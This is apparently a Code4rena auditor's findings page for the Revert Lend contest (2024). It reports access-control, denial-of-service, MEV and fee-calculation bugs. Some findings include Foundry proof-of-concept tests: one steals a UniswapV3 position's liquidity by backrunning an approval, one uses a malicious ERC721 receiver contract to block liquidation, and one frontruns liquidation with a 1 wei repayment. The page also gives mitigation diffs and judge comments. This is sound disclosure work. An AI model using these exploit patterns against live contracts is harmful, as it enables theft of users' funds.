Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $88,500 USDC
Total HM: 31
Participants: 105
Period: 11 days
Judge: ronnyx2017
Total Solo HM: 7
Id: 342
League: ETH
Rank: 2/105
Findings: 5
Award: $3,697.85
π Selected for report: 4
π Solo Findings: 2
π Selected for report: 0xjuan
Also found by: CaeraDenoir, Tigerfrake, Timenov, novamanbg, santiellena
517.4283 USDC - $517.43
When a user wants to use V3Utils, one of the flows stated by the protocol is as follows:
NPM.approve(V3Utils, tokenId)
V3Utils.execute()
with specific instructionsNote that this can't be done in one transaction since in TX1, the NPM has to be called directly by the EOA which owns the NFT, and thus the
V3Utils.execute()
would have to be called in a subsequent transaction.
Now this is usually a safe design pattern, but the issue is that V3Utils.execute()
does not validate the owner of the UniV3 Position NFT that is being handled. This allows anybody to provide arbitrary instructions and call V3Utils.execute()
once the NFT has been approved in TX1.
A malicious actor provide instructions that include the following:
WhatToDo=WITHDRAW_AND_COLLECT_AND_SWAP
recipient= malicious_actor_address
liquidity=total_position_liquidity
This would collect all liquidity from the position that was approved, and send it to the malicious attacker who didn't own the position.
The entire liquidity of a specific UniswapV3 liquidity provision NFT can be stolen by a malicious actor, with zero cost.
This foundry test demonstrates how an attacker can steal all the liquidity from a UniswapV3 position NFT that is approved to the V3Utils contract.
To run the PoC:
test/integration/V3Utils.t.sol
forge test --via-ir --mt test_backRunApprovals_toStealAllFunds -vv
in the terminal.</details>function test_backRunApprovals_toStealAllFunds() external { address attacker = makeAddr("attacker"); uint256 daiBefore = DAI.balanceOf(attacker); uint256 usdcBefore = USDC.balanceOf(attacker); (,,,,,,, uint128 liquidityBefore,,,,) = NPM.positions(TEST_NFT_3); console.log("Attacker's DAI Balance Before: %e", daiBefore); console.log("Attacker's USDC Balance Before: %e", usdcBefore); console.log("Position #%s's liquidity Before: %e", TEST_NFT_3, liquidityBefore); // Malicious instructions used by attacker: V3Utils.Instructions memory bad_inst = V3Utils.Instructions( V3Utils.WhatToDo.WITHDRAW_AND_COLLECT_AND_SWAP, address(USDC), 0, 0, 0, 0, "", 0, 0, "", type(uint128).max, type(uint128).max, 0, 0, 0, liquidityBefore, // Attacker chooses to withdraw 100% of the position's liquidity 0, 0, block.timestamp, attacker, // Recipient address of tokens address(0), false, "", "" ); // User approves V3Utils, planning to execute next vm.prank(TEST_NFT_3_ACCOUNT); NPM.approve(address(v3utils), TEST_NFT_3); console.log("\n--ATTACK OCCURS--\n"); // User's approval gets back-ran vm.prank(attacker); v3utils.execute(TEST_NFT_3, bad_inst); uint256 daiAfter = DAI.balanceOf(attacker); uint256 usdcAfter = USDC.balanceOf(attacker); (,,,,,,, uint128 liquidityAfter,,,,) = NPM.positions(TEST_NFT_3); console.log("Attacker's DAI Balance After: %e", daiAfter); console.log("Attacker's USDC Balance After: %e", usdcAfter); console.log("Position #%s's liquidity After: %e", TEST_NFT_3, liquidityAfter); }
Console output:
Ran 1 test for test/integration/V3Utils.t.sol:V3UtilsIntegrationTest [PASS] test_backRunApprovals_toStealAllFunds() (gas: 351245) Logs: Attacker's DAI Balance Before: 0e0 Attacker's USDC Balance Before: 0e0 Position #4660's liquidity Before: 1.2922419498089422291e19 --ATTACK OCCURS-- Attacker's DAI Balance After: 4.2205702812280886591005e22 Attacker's USDC Balance After: 3.5931648355e10 Position #4660's liquidity After: 0e0 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.17s Ran 1 test suite in 1.17s: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual Review
Add a check to ensure that only the owner of the position can call V3Utils.execute
.
Note that the fix also checks for the case where a user may have transferred the token into the V3Utils
, since in that case it is fine that msg.sender != tokenOwner
since tokenOwner
would then be the V3Utils contract itself.
function execute(uint256 tokenId, Instructions memory instructions) public returns (uint256 newTokenId) { + address tokenOwner = nonfungiblePositionManager.ownerOf(tokenId); + if (tokenOwner != msg.sender && tokenOwner != address(this)) { + revert Unauthorized(); + } /* REST OF CODE */ } ## Assessed type Access Control
#0 - c4-pre-sort
2024-03-22T16:27:14Z
0xEVom marked the issue as primary issue
#1 - c4-pre-sort
2024-03-22T16:27:31Z
0xEVom marked the issue as high quality report
#2 - c4-sponsor
2024-03-26T15:08:39Z
kalinbas (sponsor) confirmed
#3 - c4-judge
2024-03-31T00:21:47Z
jhsagd76 marked the issue as satisfactory
#4 - c4-judge
2024-04-01T15:33:26Z
jhsagd76 marked the issue as selected for report
#5 - kalinbas
2024-04-10T22:48:51Z
π Selected for report: 0xjuan
Also found by: 0rpse, 0x175, 0xAlix2, 0xBugSlayer, 0xloscar01, Ali-_-Y, Arz, CaeraDenoir, JohnSmith, Ocean_Sky, SpicyMeatball, alix40, ayden, falconhoof, givn, iamandreiski, kinda_very_good, nmirchev8, nnez, novamanbg, stackachu, wangxx2026
22.5111 USDC - $22.51
When liquidating a position, _cleanUpLoan() is called on the loan. This attempts to send the uniswap LP position back to the user via the following line:
nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
This safeTransferFrom
function call invokes the onERC721Received
function on the owner's contract. The transaction will only succeed if the owner's contract returns the function selector of the standard onERC721Received
function. However, the owner can design the function to return an invalid value, and this would lead to the safeTransferFrom
reverting, thus being unable to liquidate the user.
This leads to bad debt accrual in the protocol which cannot be prevented, and eventually insolvency.
Here is a foundry test that proves this vulnerability.
To run the PoC:
test/integration/V3Vault.t.sol
V3VaultIntegrationTest
contractforge test --via-ir --mt test_preventLiquidation -vv
</details> <details><summary>Foundry test</summary>contract MaliciousBorrower { address public vault; constructor(address _vault) { vault = _vault; } function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) { // Does not accept ERC721 tokens from the vault. This causes liquidation to revert if (from == vault) return bytes4(0xdeadbeef); else return msg.sig; } }
</details> <details><summary>Terminal output</summary>function test_preventLiquidation() external { // Create malicious borrower, and setup a loan address maliciousBorrower = address(new MaliciousBorrower(address(vault))); custom_setupBasicLoan(true, maliciousBorrower); // assert: debt is equal to collateral value, so position is not liquidatable (uint256 debt,,uint256 collateralValue, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT); assertEq(debt, collateralValue); // collateral DAI value change -100% vm.mockCall( CHAINLINK_DAI_USD, abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector), abi.encode(uint80(0), int256(0), block.timestamp, block.timestamp, uint80(0)) ); // ignore difference oracle.setMaxPoolPriceDifference(10001); // assert that debt is greater than collateral value (position is liquidatable now) (debt, , collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT); assertGt(debt, collateralValue); (uint256 debtShares) = vault.loans(TEST_NFT); vm.startPrank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost); // This fails due to malicious owner. So under-collateralised position can't be liquidated. DoS! vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer"); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); } function custom_setupBasicLoan(bool borrowMax, address borrower) internal { // lend 10 USDC _deposit(10000000, WHALE_ACCOUNT); // Send the test NFT to borrower account vm.prank(TEST_NFT_ACCOUNT); NPM.transferFrom(TEST_NFT_ACCOUNT, borrower, TEST_NFT); uint256 tokenId = TEST_NFT; // borrower adds collateral vm.startPrank(borrower); NPM.approve(address(vault), tokenId); vault.create(tokenId, borrower); (,, uint256 collateralValue,,) = vault.loanInfo(tokenId); // borrower borrows assets, backed by their univ3 position if (borrowMax) { // borrow max vault.borrow(tokenId, collateralValue); } vm.stopPrank(); }
</details>Ran 1 test for test/integration/V3Vault.t.sol:V3VaultIntegrationTest [PASS] test_preventLiquidation() (gas: 1765928) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 473.56ms
Manual Review
One solution would be to approve the NFT to the owner and provide a way (via the front-end or another contract) for them to redeem the NFT back later on. This is a 'pull over push' approach and ensures that the liquidation will occur.
Example:
function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner) internal { _removeTokenFromOwner(owner, tokenId); _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0); delete loans[tokenId]; - nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId); + nonfungiblePositionManager.approve(owner, tokenId); emit Remove(tokenId, owner); }
DoS
#0 - c4-pre-sort
2024-03-18T18:38:58Z
0xEVom marked the issue as high quality report
#1 - c4-pre-sort
2024-03-18T18:39:02Z
0xEVom marked the issue as primary issue
#2 - 0xEVom
2024-03-18T18:40:53Z
Also see alternative recommended mitigation on #378, i.e. simply avoid using safeTransferFrom()
.
#3 - c4-sponsor
2024-03-26T14:43:38Z
kalinbas (sponsor) confirmed
#4 - c4-judge
2024-03-30T23:53:08Z
jhsagd76 marked the issue as satisfactory
#5 - c4-judge
2024-04-01T15:31:56Z
jhsagd76 marked the issue as selected for report
#6 - kalinbas
2024-04-09T17:30:49Z
π Selected for report: kfx
Also found by: 0x175, 0xAlix2, 0xjuan, AMOW, Aymen0909, CaeraDenoir, Giorgio, JCN, JecikPo, JohnSmith, Norah, SpicyMeatball, alexander_orjustalex, atoko, erosjohn, falconhoof, givn, grearlake, jnforja, kinda_very_good, lanrebayode77, nmirchev8, shaka, web3Tycoon, zxriptor
3.3501 USDC - $3.35
When liquidating a position, the following check occurs, to ensure that the params.debtShares
passed in by the liquidator is equal to the actual debtShares
of the loan:
uint256 debtShares = loans[params.tokenId].debtShares; if (debtShares != params.debtShares) { revert DebtChanged(); }
A malicious position owner can simply frontrun this liquidation transaction with their own transaction where they repay 1 wei of the loan, and this reduces .debtShares
by 1 wei. The position is still undercollateralised, so should be liquidated.
But now that debtShares
has changed, the above check will fail in the liquidator's transaction, and the liquidation will revert.
In addition, here is a very similar finding in the C4 Venus contest (May 2023)
This is a denial of service for liquidators and can lead to bad debt accrual in the vault + also wasted gas for liquidators. It only costs 1 wei + gas fee for the attacker to perform the attack, so it is cheap.
In test/integration/V3Vault.t.sol
, replace _testLiquidation()
with the function in the provided dropdown.
Note: the only real change made was adding the repayment logic right before the liquidation, to simulate frontrunning the liquidation's transaction.
Then to run the PoC, enter in the terminal forge test --via-ir --mt testLiquidationTimeBased -vv
</details>function _testLiquidation(LiquidationType lType) internal { _setupBasicLoan(true); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); assertEq(collateralValue, 8847206); assertEq(fullValue, 9830229); // debt is equal collateral value (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT); assertEq(debt, collateralValue); assertEq(liquidationCost, 0); assertEq(liquidationValue, 0); if (lType == LiquidationType.TimeBased) { // wait 7 day - interest growing vm.warp(block.timestamp + 7 days); } else if (lType == LiquidationType.ValueBased) { // collateral DAI value change -100% vm.mockCall( CHAINLINK_DAI_USD, abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector), abi.encode(uint80(0), int256(0), block.timestamp, block.timestamp, uint80(0)) ); } else { vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max); // 20% collateral factor } if (lType == LiquidationType.ValueBased) { // should revert because oracle and pool price are different vm.expectRevert(IErrors.PriceDifferenceExceeded.selector); (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT); // ignore difference - now it will work oracle.setMaxPoolPriceDifference(10001); } // debt is greater than collateral value (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT); // debt only grows in time based scenario assertEq( debt, lType == LiquidationType.TimeBased ? 8869647 : (lType == LiquidationType.ValueBased ? 8847206 : 8847206) ); // collateral value is lower in non time based scenario assertEq( collateralValue, lType == LiquidationType.TimeBased ? 8847206 : (lType == LiquidationType.ValueBased ? 8492999 : 1966045) ); assertEq( fullValue, lType == LiquidationType.TimeBased ? 9830229 : (lType == LiquidationType.ValueBased ? 9436666 : 9830229) ); assertGt(debt, collateralValue); assertEq( liquidationCost, lType == LiquidationType.TimeBased ? 8869647 : (lType == LiquidationType.ValueBased ? 8492999 : 8847206) ); assertEq( liquidationValue, lType == LiquidationType.TimeBased ? 9226564 : (lType == LiquidationType.ValueBased ? 9436666 : 9729910) ); vm.prank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost - 1); (uint256 debtShares) = vault.loans(TEST_NFT); vm.prank(WHALE_ACCOUNT); vm.expectRevert("ERC20: transfer amount exceeds allowance"); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); vm.prank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost); uint256 daiBalance = DAI.balanceOf(WHALE_ACCOUNT); uint256 usdcBalance = USDC.balanceOf(WHALE_ACCOUNT); // Frontrunning! vm.startPrank(TEST_NFT_ACCOUNT); USDC.approve(address(vault), type(uint256).max); vault.repay(TEST_NFT, 1, true); vm.stopPrank(); vm.prank(WHALE_ACCOUNT); vm.expectRevert(abi.encodeWithSignature("DebtChanged()")); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); }
Manual Review
Consider: Instead of reverting the transaction, just use the actual value of debtShares
within the loan struct and continue with the liquidation of the under-collateralised position.
DoS
#0 - c4-pre-sort
2024-03-22T12:04:49Z
0xEVom marked the issue as duplicate of #222
#1 - c4-pre-sort
2024-03-22T12:04:53Z
0xEVom marked the issue as sufficient quality report
#2 - c4-judge
2024-03-31T16:06:22Z
jhsagd76 marked the issue as satisfactory
π Selected for report: 0xjuan
1577.2848 USDC - $1,577.28
When users configure their NFT within the AutoRange
contract, they have 2 options for fee-handling:
PositionConfig.onlyFees=false
for the first option, and onlyFees=true
for the second option.When an operator calls the AutoRange.execute()
function, they set the reward parameter rewardX64
based on the user's PositionConfig
.
However the execution can be front-ran by the user, and they can change the onlyFees
boolean which changes the fee handling logic, while the rewardX64
parameter set by the operator is unchanged.
The user can exploit this to their advantage by initially setting onlyFees
to false, so that the operator will call the function with only 0.15% reward percentage. But when the operator sends their transaction, the user front-runs it by changing onlyFees
to true. Now, the protocol only gets 0.15% of the fees collected when they initially intended to collect 0.15% of the entire position.
The cost of executing the swap is likely to exceed the fees obtained (since expected fee is 0.15% of entire position, but only 0.15% of fees are obtained). This leads to loss of funds for the protocol.
Note: this has been submitted as only a medium severity issue since the protocol's off-chain operator logic can simply blacklist such users once they have performed the exploit.
The rewardX64 parameter: https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/transformers/AutoRange.sol#L62
Docs regarding fee source: https://docs.revert.finance/revert/auto-range#selecting-a-fee-source
Manual Review
Let the operator pass in 2 different values for rewardX64, where each one corresponds to a different value of onlyFees
. This way, the rewardX64
parameter passed in will not be inconsistent with the executed logic.
MEV
#0 - c4-pre-sort
2024-03-22T15:18:55Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-22T15:18:57Z
0xEVom marked the issue as primary issue
#2 - c4-sponsor
2024-03-26T14:53:46Z
kalinbas (sponsor) acknowledged
#3 - kalinbas
2024-03-26T14:54:16Z
As you mentioned we are solving this with the bot off-chain. But it is a valid finding.
#4 - c4-judge
2024-03-30T23:56:20Z
jhsagd76 marked the issue as satisfactory
#5 - c4-judge
2024-04-01T15:34:34Z
jhsagd76 marked the issue as selected for report
π Selected for report: 0xjuan
1577.2848 USDC - $1,577.28
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1112-L1119
As stated in the Revert Lend Whitepaper, the liquidation fee for underwater positions is supposed to be 10% of the debt.
However the code within V3Vault::_calculateLiquidation
(shown below) calculates the liquidation fee as 10% of the fullValue
rather than 10% of the debt
.
} else { // all position value liquidationValue = fullValue; uint256 penaltyValue = fullValue * (Q32 - MAX_LIQUIDATION_PENALTY_X32) / Q32; liquidatorCost = penaltyValue; reserveCost = debt - penaltyValue; }
Note:
fullValue * (Q32 - MAX_LIQUIDATION_PENALTY_X32) / Q32;
is equivalent tofullValue * 90%
.
A permalink to the code snippet is here
As the fullValue
decreases below debt
(since the position is underwater), liquidators are less-and-less incentivised to liquidate the position. This is because as fullValue
decreases, the liquidation fee (10% of fullValue
) also decreases.
This goes against the protocol's intention (stated in the whitepaper) that the liquidation fee will be fixed at 10% of the debt for underwater positions, breaking core protocol functionality.
Code snippet from V3Vault._calculateLiquidation
:
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1112-L1119
Ensure that the liquidation fee is equal to 10% of the debt.
Make the following changes in V3Vault::_calculateLiquidation()
:
else { -// all position value -liquidationValue = fullValue; -uint256 penaltyValue = fullValue * (Q32 - MAX_LIQUIDATION_PENALTY_X32) / Q32; -liquidatorCost = penaltyValue; -reserveCost = debt - penaltyValue; +uint256 penalty = debt * (MAX_LIQUIDATION_PENALTY_X32) / Q32; //[10% of debt] +liquidatorCost = fullValue - penalty; +liquidationValue = fullValue; +reserveCost = debt - liquidatorCost; // Remaining to pay. }
Error
#0 - c4-pre-sort
2024-03-21T08:14:16Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-21T08:14:20Z
0xEVom marked the issue as primary issue
#2 - 0xEVom
2024-03-25T10:25:40Z
Medium severity at best, liquidators are still incentivized to participate.
#3 - c4-sponsor
2024-03-26T14:31:12Z
kalinbas (sponsor) confirmed
#4 - c4-sponsor
2024-03-26T14:33:45Z
kalinbas marked the issue as disagree with severity
#5 - kalinbas
2024-03-26T20:40:48Z
Low severity
#6 - jhsagd76
2024-03-30T23:52:45Z
According to the C4 rules, an M is appropriate as this disrupts certain designs in the economic model.
#7 - c4-judge
2024-03-30T23:52:51Z
jhsagd76 changed the severity to 2 (Med Risk)
#8 - c4-judge
2024-03-30T23:53:00Z
jhsagd76 marked the issue as satisfactory
#9 - c4-judge
2024-04-01T15:34:36Z
jhsagd76 marked the issue as selected for report
#10 - kalinbas
2024-04-09T16:19:58Z